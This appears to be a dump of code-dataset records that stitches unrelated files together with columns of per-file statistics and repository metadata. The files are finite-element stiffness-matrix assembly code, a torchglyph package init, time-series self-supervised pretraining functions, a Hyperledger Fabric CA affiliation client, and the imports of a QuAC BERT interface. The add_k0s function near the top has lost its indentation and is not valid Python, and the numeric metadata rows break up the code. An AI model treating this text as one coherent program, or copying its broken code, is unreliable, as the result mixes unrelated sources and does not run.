k0[i4*dof+2, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + (0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i4*dof+2, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac + (0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i4*dof+2, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + (0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i4*dof+2, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i3*dof+3] += 0.166666666666667*Ac1*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i3*dof+4] += 0.166666666666667*Ac1*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac
k0[i4*dof+2, i4*dof+2] += -0.166666666666667*c2*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + 0.166666666666667*d2*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i4*dof+3] += -0.0833333333333333*a2*c2*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + 0.0833333333333333*a2*d2*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i4*dof+4] += -0.0833333333333333*b2*c2*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + 0.0833333333333333*b2*d2*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+3, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac + (-a1*c1/4 - 0.0833333333333333*a2*c2)*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac
k0[i4*dof+3, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + (b1*d1/4 + 0.0833333333333333*b2*d2)*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac + (a1*c1/4 + 0.166666666666667*a2*c2)*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac
k0[i4*dof+3, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + (-b1*d1/4 - 0.166666666666667*b2*d2)*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i3*dof+3] += 0.166666666666667*Ac1*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i3*dof+4] += 0.166666666666667*Ac1*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac
k0[i4*dof+3, i4*dof+2] += -0.166666666666667*c2*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + 0.166666666666667*d2*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i4*dof+3] += -0.0833333333333333*a2*c2*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + 0.0833333333333333*a2*d2*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+3, i4*dof+4] += -0.0833333333333333*b2*c2*(0.0833333333333333*E45*a2*d2 - 0.0833333333333333*E55*a2*c2)/Ac + 0.0833333333333333*b2*d2*(0.0833333333333333*E44*a2*d2 - 0.0833333333333333*E45*a2*c2)/Ac
k0[i4*dof+4, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac + (-a1*c1/4 - 0.0833333333333333*a2*c2)*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac
k0[i4*dof+4, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + (b1*d1/4 + 0.0833333333333333*b2*d2)*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac + (a1*c1/4 + 0.166666666666667*a2*c2)*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac
k0[i4*dof+4, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + (-b1*d1/4 - 0.166666666666667*b2*d2)*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i3*dof+3] += 0.166666666666667*Ac1*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i3*dof+4] += 0.166666666666667*Ac1*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac
k0[i4*dof+4, i4*dof+2] += -0.166666666666667*c2*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + 0.166666666666667*d2*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i4*dof+3] += -0.0833333333333333*a2*c2*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + 0.0833333333333333*a2*d2*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
k0[i4*dof+4, i4*dof+4] += -0.0833333333333333*b2*c2*(0.0833333333333333*E45*b2*d2 - 0.0833333333333333*E55*b2*c2)/Ac + 0.0833333333333333*b2*d2*(0.0833333333333333*E44*b2*d2 - 0.0833333333333333*E45*b2*c2)/Ac
def add_k0s(k0, mesh, prop_from_node, alpha, maxl_from_area, silent=True):
msg('Adding K0s to K0...', silent=silent)
for edge in mesh.edges.values():
n1 = edge.n1
n2 = edge.n2
mid1 = getMid(edge.trias[0])
if np.dot(np.cross((n2.xyz - n1.xyz), (mid1 - n1.xyz)), ZGLOBAL) < 0:
n2, n1 = n1, n2
if len(edge.trias) == 1:
boundary_edge(k0, edge, n1, n2, prop_from_node, alpha=alpha, maxl_from_area=maxl_from_area)
elif len(edge.trias) == 2:
interior_edge(k0, edge, n1, n2, prop_from_node, alpha=alpha, maxl_from_area=maxl_from_area)
else:
raise NotImplementedError('')
msg('finished!', silent=silent)
return k0
| 186.849462
| 709
| 0.634344
| 12,373
| 69,508
| 3.55807
| 0.010183
| 0.377249
| 0.119798
| 0.061784
| 0.969766
| 0.966337
| 0.960181
| 0.955774
| 0.94712
| 0.930879
| 0
| 0.509628
| 0.10347
| 69,508
| 371
| 710
| 187.3531
| 0.196835
| 0.00269
| 0
| 0.136095
| 0
| 0
| 0.000404
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.008876
| false
| 0
| 0.014793
| 0
| 0.026627
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
12673ce925985e23b2de80d40142781f2f51bd5b
| 144
|
py
|
Python
|
torchglyph/pipe/__init__.py
|
speedcell4/torchglyph
|
8abc8a35cc0b7a3512c069489c59e4cc1b2588df
|
[
"MIT"
] | 11
|
2020-03-12T05:58:18.000Z
|
2021-12-22T11:46:43.000Z
|
torchglyph/pipe/__init__.py
|
speedcell4/torchglyph
|
8abc8a35cc0b7a3512c069489c59e4cc1b2588df
|
[
"MIT"
] | 6
|
2020-08-18T18:56:33.000Z
|
2021-11-06T04:22:23.000Z
|
torchglyph/pipe/__init__.py
|
speedcell4/torchglyph
|
8abc8a35cc0b7a3512c069489c59e4cc1b2588df
|
[
"MIT"
] | null | null | null |
from torchglyph.pipe.abc import *
from torchglyph.pipe.ctx import *
from torchglyph.pipe.packing import *
from torchglyph.pipe.padding import *
| 28.8
| 37
| 0.805556
| 20
| 144
| 5.8
| 0.4
| 0.482759
| 0.62069
| 0.62069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 144
| 4
| 38
| 36
| 0.90625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
89c9ace871cb90c42ba8bc5dd1e2dc551d833dbb
| 8,961
|
py
|
Python
|
optim/pretrain.py
|
haoyfan/SelfTime
|
28cafe1171bcd2f300242fe0703840478ae53bf0
|
[
"MIT"
] | 41
|
2020-10-08T12:27:02.000Z
|
2022-02-07T03:28:56.000Z
|
optim/pretrain.py
|
haoyfan/SelfTime
|
28cafe1171bcd2f300242fe0703840478ae53bf0
|
[
"MIT"
] | null | null | null |
optim/pretrain.py
|
haoyfan/SelfTime
|
28cafe1171bcd2f300242fe0703840478ae53bf0
|
[
"MIT"
] | 13
|
2021-01-15T03:17:55.000Z
|
2022-03-23T19:04:29.000Z
|
# -*- coding: utf-8 -*-
import torch
import utils.transforms as transforms
from dataloader.ucr2018 import *
import torch.utils.data as data
from model.model_RelationalReasoning import *
from model.model_backbone import SimConv4
def pretrain_IntraSampleRel(x_train, y_train, opt):
K = opt.K
batch_size = opt.batch_size # 128 has been used in the paper
tot_epochs = opt.epochs # 400 has been used in the paper
feature_size = opt.feature_size
ckpt_dir = opt.ckpt_dir
prob = 0.2 # Transform Probability
raw = transforms.Raw()
cutout = transforms.Cutout(sigma=0.1, p=prob)
jitter = transforms.Jitter(sigma=0.2, p=prob)
scaling = transforms.Scaling(sigma=0.4, p=prob)
magnitude_warp = transforms.MagnitudeWrap(sigma=0.3, knot=4, p=prob)
time_warp = transforms.TimeWarp(sigma=0.2, knot=8, p=prob)
window_slice = transforms.WindowSlice(reduce_ratio=0.8, p=prob)
window_warp = transforms.WindowWarp(window_ratio=0.3, scales=(0.5, 2), p=prob)
transforms_list = {'jitter': [jitter],
'cutout': [cutout],
'scaling': [scaling],
'magnitude_warp': [magnitude_warp],
'time_warp': [time_warp],
'window_slice': [window_slice],
'window_warp': [window_warp],
'G0': [jitter, magnitude_warp, window_slice],
'G1': [jitter, time_warp, window_slice],
'G2': [jitter, time_warp, window_slice, window_warp, cutout],
'none': [raw]}
transforms_targets = list()
for name in opt.aug_type:
for item in transforms_list[name]:
transforms_targets.append(item)
train_transform = transforms.Compose(transforms_targets)
if '2C' in opt.class_type:
cut_piece = transforms.CutPiece2C(sigma=opt.piece_size)
nb_class=2
elif '3C' in opt.class_type:
cut_piece = transforms.CutPiece3C(sigma=opt.piece_size)
nb_class=3
elif '4C' in opt.class_type:
cut_piece = transforms.CutPiece4C(sigma=opt.piece_size)
nb_class=4
elif '5C' in opt.class_type:
cut_piece = transforms.CutPiece5C(sigma=opt.piece_size)
nb_class = 5
elif '6C' in opt.class_type:
cut_piece = transforms.CutPiece6C(sigma=opt.piece_size)
nb_class = 6
elif '7C' in opt.class_type:
cut_piece = transforms.CutPiece7C(sigma=opt.piece_size)
nb_class = 7
elif '8C' in opt.class_type:
cut_piece = transforms.CutPiece8C(sigma=opt.piece_size)
nb_class = 8
tensor_transform = transforms.ToTensor()
backbone = SimConv4().cuda()
model = RelationalReasoning_Intra(backbone, feature_size, nb_class).cuda()
train_set = MultiUCR2018_Intra(data=x_train, targets=y_train, K=K,
transform=train_transform, transform_cut=cut_piece,
totensor_transform=tensor_transform)
train_loader = torch.utils.data.DataLoader(train_set,
batch_size=batch_size,
shuffle=True)
torch.save(model.backbone.state_dict(), '{}/backbone_init.tar'.format(ckpt_dir))
acc_max, epoch_max = model.train(tot_epochs=tot_epochs, train_loader=train_loader, opt=opt)
torch.save(model.backbone.state_dict(), '{}/backbone_last.tar'.format(ckpt_dir))
return acc_max, epoch_max
def pretrain_InterSampleRel(x_train, y_train, opt):
K = opt.K
batch_size = opt.batch_size # 128 has been used in the paper
tot_epochs = opt.epochs # 400 has been used in the paper
feature_size = opt.feature_size
ckpt_dir = opt.ckpt_dir
prob = 0.2 # Transform Probability
raw = transforms.Raw()
cutout = transforms.Cutout(sigma=0.1, p=prob)
jitter = transforms.Jitter(sigma=0.2, p=prob)
scaling = transforms.Scaling(sigma=0.4, p=prob)
magnitude_warp = transforms.MagnitudeWrap(sigma=0.3, knot=4, p=prob)
time_warp = transforms.TimeWarp(sigma=0.2, knot=8, p=prob)
window_slice = transforms.WindowSlice(reduce_ratio=0.8, p=prob)
window_warp = transforms.WindowWarp(window_ratio=0.3, scales=(0.5, 2), p=prob)
transforms_list = {'jitter': [jitter],
'cutout': [cutout],
'scaling': [scaling],
'magnitude_warp': [magnitude_warp],
'time_warp': [time_warp],
'window_slice': [window_slice],
'window_warp': [window_warp],
'G0': [jitter, magnitude_warp, window_slice],
'G1': [jitter, time_warp, window_slice],
'G2': [jitter, time_warp, window_slice, window_warp, cutout],
'none': [raw]}
transforms_targets = list()
for name in opt.aug_type:
for item in transforms_list[name]:
transforms_targets.append(item)
train_transform = transforms.Compose(transforms_targets + [transforms.ToTensor()])
backbone = SimConv4().cuda()
model = RelationalReasoning(backbone, feature_size).cuda()
train_set = MultiUCR2018(data=x_train, targets=y_train, K=K, transform=train_transform)
train_loader = torch.utils.data.DataLoader(train_set,
batch_size=batch_size,
shuffle=True)
torch.save(model.backbone.state_dict(), '{}/backbone_init.tar'.format(ckpt_dir))
acc_max, epoch_max = model.train(tot_epochs=tot_epochs, train_loader=train_loader, opt=opt)
torch.save(model.backbone.state_dict(), '{}/backbone_last.tar'.format(ckpt_dir))
return acc_max, epoch_max
def pretrain_SelfTime(x_train, y_train, opt):
K = opt.K
batch_size = opt.batch_size # 128 has been used in the paper
tot_epochs = opt.epochs # 400 has been used in the paper
feature_size = opt.feature_size
ckpt_dir = opt.ckpt_dir
prob = 0.2 # Transform Probability
cutout = transforms.Cutout(sigma=0.1, p=prob)
jitter = transforms.Jitter(sigma=0.2, p=prob)
scaling = transforms.Scaling(sigma=0.4, p=prob)
magnitude_warp = transforms.MagnitudeWrap(sigma=0.3, knot=4, p=prob)
time_warp = transforms.TimeWarp(sigma=0.2, knot=8, p=prob)
window_slice = transforms.WindowSlice(reduce_ratio=0.8, p=prob)
window_warp = transforms.WindowWarp(window_ratio=0.3, scales=(0.5, 2), p=prob)
transforms_list = {'jitter': jitter,
'cutout': cutout,
'scaling': scaling,
'magnitude_warp': magnitude_warp,
'time_warp': time_warp,
'window_slice': window_slice,
'window_warp': window_warp,
'G0': [jitter, magnitude_warp, window_slice],
'G1': [jitter, time_warp, window_slice],
'G2': [jitter, time_warp, window_slice, window_warp, cutout],
'none': []}
transforms_targets = [transforms_list[name] for name in opt.aug_type]
train_transform = transforms.Compose(transforms_targets)
tensor_transform = transforms.ToTensor()
if '2C' in opt.class_type:
cut_piece = transforms.CutPiece2C(sigma=opt.piece_size)
nb_class=2
elif '3C' in opt.class_type:
cut_piece = transforms.CutPiece3C(sigma=opt.piece_size)
nb_class=3
elif '4C' in opt.class_type:
cut_piece = transforms.CutPiece4C(sigma=opt.piece_size)
nb_class=4
elif '5C' in opt.class_type:
cut_piece = transforms.CutPiece5C(sigma=opt.piece_size)
nb_class = 5
elif '6C' in opt.class_type:
cut_piece = transforms.CutPiece6C(sigma=opt.piece_size)
nb_class = 6
elif '7C' in opt.class_type:
cut_piece = transforms.CutPiece7C(sigma=opt.piece_size)
nb_class = 7
elif '8C' in opt.class_type:
cut_piece = transforms.CutPiece8C(sigma=opt.piece_size)
nb_class = 8
backbone = SimConv4().cuda()
model = RelationalReasoning_InterIntra(backbone, feature_size, nb_class).cuda()
train_set = MultiUCR2018_InterIntra(data=x_train, targets=y_train, K=K,
transform=train_transform, transform_cut=cut_piece,
totensor_transform=tensor_transform)
train_loader = torch.utils.data.DataLoader(train_set,
batch_size=batch_size,
shuffle=True)
torch.save(model.backbone.state_dict(), '{}/backbone_init.tar'.format(ckpt_dir))
acc_max, epoch_max = model.train(tot_epochs=tot_epochs, train_loader=train_loader, opt=opt)
torch.save(model.backbone.state_dict(), '{}/backbone_last.tar'.format(ckpt_dir))
return acc_max, epoch_max
| 42.469194
| 95
| 0.624707
| 1,119
| 8,961
| 4.773905
| 0.111707
| 0.019656
| 0.032946
| 0.03669
| 0.92793
| 0.919693
| 0.907151
| 0.883939
| 0.883939
| 0.865219
| 0
| 0.023369
| 0.26939
| 8,961
| 210
| 96
| 42.671429
| 0.792577
| 0.030465
| 0
| 0.855491
| 0
| 0
| 0.043002
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.017341
| false
| 0
| 0.034682
| 0
| 0.069364
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d601a2eb1043d3de990acd78b696827934d51009
| 7,405
|
py
|
Python
|
hfc/fabric_ca/affiliationService.py
|
roviso/hyberledger-py
|
908dd597e0822f99cf618f235dd517824ba44bc4
|
[
"Apache-2.0"
] | 389
|
2016-09-18T11:50:10.000Z
|
2022-03-29T21:45:40.000Z
|
hfc/fabric_ca/affiliationService.py
|
roviso/hyberledger-py
|
908dd597e0822f99cf618f235dd517824ba44bc4
|
[
"Apache-2.0"
] | 112
|
2017-08-18T00:32:21.000Z
|
2022-02-25T18:55:57.000Z
|
hfc/fabric_ca/affiliationService.py
|
roviso/hyberledger-py
|
908dd597e0822f99cf618f235dd517824ba44bc4
|
[
"Apache-2.0"
] | 268
|
2016-10-12T02:56:58.000Z
|
2022-03-30T09:50:54.000Z
|
import logging
_logger = logging.getLogger(__name__)
class AffiliationService(object):
def __init__(self, client):
self._client = client
def create(self, registrar, name, caname='', force=False):
"""Create a new affiliation.
The caller must have hf.AffiliationMgr authority.
If any of the parent affiliations do not exist and 'force' is true,
create all parent affiliations also.
:param registrar: Required. The identity of the registrar
(i.e. who is performing the registration)
:param name: The affiliation path to create
:param caname: Optional. Name of the CA to send the request to within
the Fabric CA server (Default value = '')
:param force: Optional. (Default value = False)
:raises RequestException: errors in requests.exceptions
:raises ValueError: Failed response, json parse error, args missing
:return: result
"""
path = 'affiliations'
if force is True:
path += '?force=true'
_logger.debug("create new affiliation with url {0}".format(path))
req = {
'name': name,
'caname': caname
}
authorization = self._client.generateAuthToken(req, registrar)
headers = {'Authorization': authorization}
verify = self._client._ca_certs_path
res, st = self._client._send_ca_post(path=path,
json=req,
headers=headers,
verify=verify)
_logger.debug("Response status {0}".format(st))
_logger.debug("Raw response json {0}".format(res))
return res
def getOne(self, affiliation, registrar):
"""List a specific affiliation at or below the caller's affinity.
The caller must have hf.AffiliationMgr authority.
:param affiliation: The affiliation path to be queried.
:param registrar: Required. The identity of the registrar
(i.e. who is performing the registration)
:raises RequestException: errors in requests.exceptions
:raises ValueError: Failed response, json parse error, args missing
:return: result
"""
if not isinstance(affiliation, str):
raise ValueError('argument "affiliation" is not a valid string')
path = 'affiliations/' + affiliation
authorization = self._client.generateAuthToken(None, registrar)
headers = {'Authorization': authorization}
verify = self._client._ca_certs_path
res, st = self._client._send_ca_get(path,
headers=headers,
verify=verify)
_logger.debug("Response status {0}".format(st))
_logger.debug("Raw response json {0}".format(res))
return res
def getAll(self, registrar):
"""List all affiliations equal to and below the caller's affiliation.
The caller must have hf.AffiliationMgr authority.
:param registrar: Required. The identity of the registrar
(i.e. who is performing the registration)
:return: result
:raises RequestException: errors in requests.exceptions
:raises ValueError: Failed response, json parse error, args missing
"""
path = 'affiliations'
authorization = self._client.generateAuthToken(None, registrar)
headers = {'Authorization': authorization}
verify = self._client._ca_certs_path
res, st = self._client._send_ca_get(path,
headers=headers,
verify=verify)
_logger.debug("Response status {0}".format(st))
_logger.debug("Raw response json {0}".format(res))
return res
def delete(self, affiliation, registrar, force=False):
"""Delete an affiliation.
The caller must have hf.AffiliationMgr authority.
Ca server must have cfg.affiliations.allowremove: true
If force is true and there are any child affiliations or any identities
are associated with this affiliation or child affiliations, these
identities and child affiliations
will be deleted; otherwise, an error is returned.
:param affiliation: affiliation
:param registrar: Required. The identity of the registrar
(i.e. who is performing the registration)
:param force: (Default value = False)
:return: result
:raises RequestException: errors in requests.exceptions
:raises ValueError: Failed response, json parse error, args missing
"""
if not isinstance(affiliation, str):
raise ValueError('argument "affiliation" is not a valid string')
path = 'affiliations/' + affiliation
if force is True:
path += '?force=true'
authorization = self._client.generateAuthToken(None, registrar)
headers = {'Authorization': authorization}
verify = self._client._ca_certs_path
res, st = self._client._send_ca_delete(path,
headers=headers,
verify=verify)
_logger.debug("Response status {0}".format(st))
_logger.debug("Raw response json {0}".format(res))
return res
def update(self, affiliation, registrar, name, caname='',
force=False):
"""Rename an affiliation.
The caller must have hf.AffiliationMgr authority.
If any identities are associated with this affiliation, 'force' is true
causes these identities' affiliations to be renamed; otherwise, an
error is returned.
:param affiliation: The affiliation path to be updated.
:param registrar: Required. The identity of the registrar
(i.e. who is performing the registration)
:param name: The affiliation path to create
:param caname: Optional. Name of the CA to send the request to within
the Fabric CA server (Default value = '')
:param force: Optional. (Default value = False)
:return: result
:raises RequestException: errors in requests.exceptions
:raises ValueError: Failed response, json parse error, args missing
"""
if not isinstance(affiliation, str):
raise ValueError('argument "affiliation" is not a valid string')
if not isinstance(name, str):
raise ValueError('argument "name" is not a valid string')
path = 'affiliations/' + affiliation
if force:
path += '?force=true'
req = {
'name': name
}
if caname:
req['caname'] = caname
authorization = self._client.generateAuthToken(req, registrar)
headers = {'Authorization': authorization}
verify = self._client._ca_certs_path
res, st = self._client._send_ca_update(path,
json=req,
headers=headers,
verify=verify)
_logger.debug("Response status {0}".format(st))
_logger.debug("Raw response json {0}".format(res))
return res
| 37.974359
| 79
| 0.600405
| 783
| 7,405
| 5.59387
| 0.167305
| 0.038813
| 0.01484
| 0.019406
| 0.803881
| 0.790639
| 0.790639
| 0.728767
| 0.705936
| 0.692922
| 0
| 0.002186
| 0.320459
| 7,405
| 194
| 80
| 38.170103
| 0.868243
| 0.377853
| 0
| 0.712644
| 0
| 0
| 0.14199
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068966
| false
| 0
| 0.011494
| 0
| 0.149425
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d6522757f485ca2b89b810950d3e95a71383b2cc
| 8,884
|
py
|
Python
|
models/bert/interface.py
|
princeton-nlp/cqa-evaluation
|
5784d6830b7907b11ae1e3110ccd920187bee533
|
[
"MIT"
] | 18
|
2022-01-10T14:37:27.000Z
|
2022-01-29T01:27:28.000Z
|
models/bert/interface.py
|
princeton-nlp/cqa-evaluation
|
5784d6830b7907b11ae1e3110ccd920187bee533
|
[
"MIT"
] | 1
|
2022-03-21T01:51:17.000Z
|
2022-03-21T01:51:17.000Z
|
models/bert/interface.py
|
princeton-nlp/EvalConvQA
|
c3b6c57ebf8432d2bf5cf2b068d478d94ac14977
|
[
"MIT"
] | 1
|
2022-01-11T01:59:16.000Z
|
2022-01-11T01:59:16.000Z
|
from models.bert.modeling import BertForQuAC, RobertaForQuAC
from transformers import AutoTokenizer
from models.bert.run_quac_dataset_utils import read_partial_quac_examples_extern, read_one_quac_example_extern, convert_one_example_to_features, recover_predicted_answer, RawResult
import numpy as np
import torch
import torch.nn as nn
from torch.nn import CrossEntropyLoss
